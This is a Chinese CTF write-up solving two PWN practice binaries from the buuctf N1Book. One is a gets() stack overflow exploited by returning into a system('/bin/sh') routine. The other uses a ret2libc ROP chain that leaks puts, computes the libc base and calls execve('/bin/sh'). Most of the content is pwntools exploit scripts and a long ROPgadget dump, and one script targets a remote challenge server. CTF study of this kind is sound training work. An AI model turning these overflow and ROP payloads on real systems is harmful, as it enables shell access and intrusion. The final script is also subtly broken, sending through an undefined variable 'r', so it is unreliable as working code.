buuctf-N1Book[第六章 CTF之PWN章]
第六章 CTF之PWN章
1.stack

64位,开启了NX保护
shift + F12查看里面的字符串

发现自带system和bin/sh的地址

bin_sh = 0x400537

gets函数对输入的长度没有限制

查看一下v1的栈空间
需要填充0xA + 0x8的空间
payload = “A” *(0xA + 8)

由于存在栈对齐,所以还要加一个地址
ret = 0x40054E
构造的exp如下
from pwn import *
#p = process("./stack")
p = remote("node4.buuoj.cn",27008)
context(os='linux',arch='amd64',log_level='debug')
payload = "A" *(0xA + 8)
bin_sh = 0x400537
ret = 0x40054e
payload = payload + p64(ret) + p64(bin_sh)
p.sendline(payload)
context.log_level = "debug"
p.interactive()
2.rop

丢到ida里面

gets函数存在栈溢出,栈空间大小为0xA + 8

shift + F12查看字符串

没有system和bin/sh
但是我们看到有libc,可以尝试ret2libc
利用ROPgadget查找所有gadget
ROPgadget --binary ./rop
ROPgadget --binary ./rop
Gadgets information
============================================================
0x00000000004004ae : adc byte ptr [rax], ah ; jmp rax
0x0000000000400479 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040047f : add bl, dh ; ret
0x00000000004005dd : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004005db : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400437 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400420
0x000000000040055d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x000000000040052c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4004c0
0x00000000004005dc : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040052d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x4004c0
0x000000000040055e : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000400439 : add byte ptr [rax], al ; jmp 0x400420
0x000000000040055f : add byte ptr [rax], al ; leave ; ret
0x00000000004004b6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040052e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4004c0
0x000000000040047e : add byte ptr [rax], al ; ret
0x00000000004004b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040047d : add byte ptr [rax], r8b ; ret
0x000000000040052f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x4004c0
0x0000000000400517 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400560 : add cl, cl ; ret
0x0000000000400447 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400420
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000400413 : add esp, 8 ; ret
0x0000000000400412 : add rsp, 8 ; ret
0x0000000000400478 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400434 : and byte ptr [rax], al ; push 0 ; jmp 0x400420
0x0000000000400444 : and byte ptr [rax], al ; push 1 ; jmp 0x400420
0x0000000000400409 : and byte ptr [rax], al ; test rax, rax ; je 0x400412 ; call rax
0x0000000000400410 : call rax
0x0000000000400442 : fimul dword ptr [rbx] ; and byte ptr [rax], al ; push 1 ; jmp 0x400420
0x00000000004005bc : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040047a : hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400533 : in eax, 0x5d ; jmp 0x4004c0
0x000000000040040e : je 0x400412 ; call rax
0x00000000004004a9 : je 0x4004b8 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004004eb : je 0x4004f8 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040043b : jmp 0x400420
0x0000000000400535 : jmp 0x4004c0
0x00000000004006e3 : jmp qword ptr [rbp]
0x00000000004004b1 : jmp rax
0x0000000000400561 : leave ; ret
0x0000000000400432 : loop 0x40043f ; and byte ptr [rax], al ; push 0 ; jmp 0x400420
0x0000000000400512 : mov byte ptr [rip + 0x200b1f], 1 ; pop rbp ; ret
0x000000000040055c : mov eax, 0 ; leave ; ret
0x0000000000400532 : mov ebp, esp ; pop rbp ; jmp 0x4004c0
0x00000000004004ac : mov edi, 0x601038 ; jmp rax
0x0000000000400531 : mov rbp, rsp ; pop rbp ; jmp 0x4004c0
0x00000000004004b3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040047b : nop dword ptr [rax + rax] ; ret
0x00000000004004f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400515 : or esp, dword ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004005cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005d0 : pop r14 ; pop r15 ; ret
0x00000000004005d2 : pop r15 ; ret
0x0000000000400534 : pop rbp ; jmp 0x4004c0
0x00000000004004ab : pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005d3 : pop rdi ; ret
0x00000000004005d1 : pop rsi ; pop r15 ; ret
0x00000000004005cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400436 : push 0 ; jmp 0x400420
0x0000000000400446 : push 1 ; jmp 0x400420
0x0000000000400530 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4004c0
0x0000000000400416 : ret
0x000000000040040d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004005e5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004005e4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004005da : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040040c : test eax, eax ; je 0x400412 ; call rax
0x000000000040040b : test rax, rax ; je 0x400412 ; call rax
Unique gadgets found: 74
pop_rdi = 0x4005d3
这个程序里面的函数很少,因此可以利用的Gadget也很少,但是我们可以利用动态链接库如libc的加载地址,通过计算两者之间的偏移,获得基地址,再构造Gadget实现任意代码执行。
这里我们利用puts地址计算基地址

libc_puts = 0x809c0

puts = 0x400430

puts_got = 0x601018
from pwn import *
p = process("./rop")
puts_got = 0x601018
puts = 0x400430
pop_rdi = 0x4005d3
p.sendline("A"*18 + p64(pop_rdi) + p64(puts_got) + p64(puts))
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
hex(addr)

可以得到addr = 0x7f3c0102ca30
exp为
from pwn import *
p = process("./rop")
elf = ELF("./rop")
libc = elf.libc
puts_got = 0x601018
puts = 0x400430
pop_rdi = 0x4005d3
main = 0x400537
p.sendline("A"*18 + p64(pop_rdi) + p64(puts_got) + p64(puts) +p64(main))
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
pop_rax = 0x439c8 + libc_base
pop_rdi = 0x2155f + libc_base
pop_rsi = 0x23e6a + libc_base
pop_rdx = 0x1b96 + libc_base
syscall = 0xd2975 + libc_base
binsh = next(libc.search("/bin/sh"),) + libc_base
payload = "A"*18 +p64(pop_rax) + p64(59) +p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) +p64(0) +p64(syscall)
p.recvuntil("hell0\n")
r.sendline(payload)
r.interactive()

浙公网安备 33010602011771号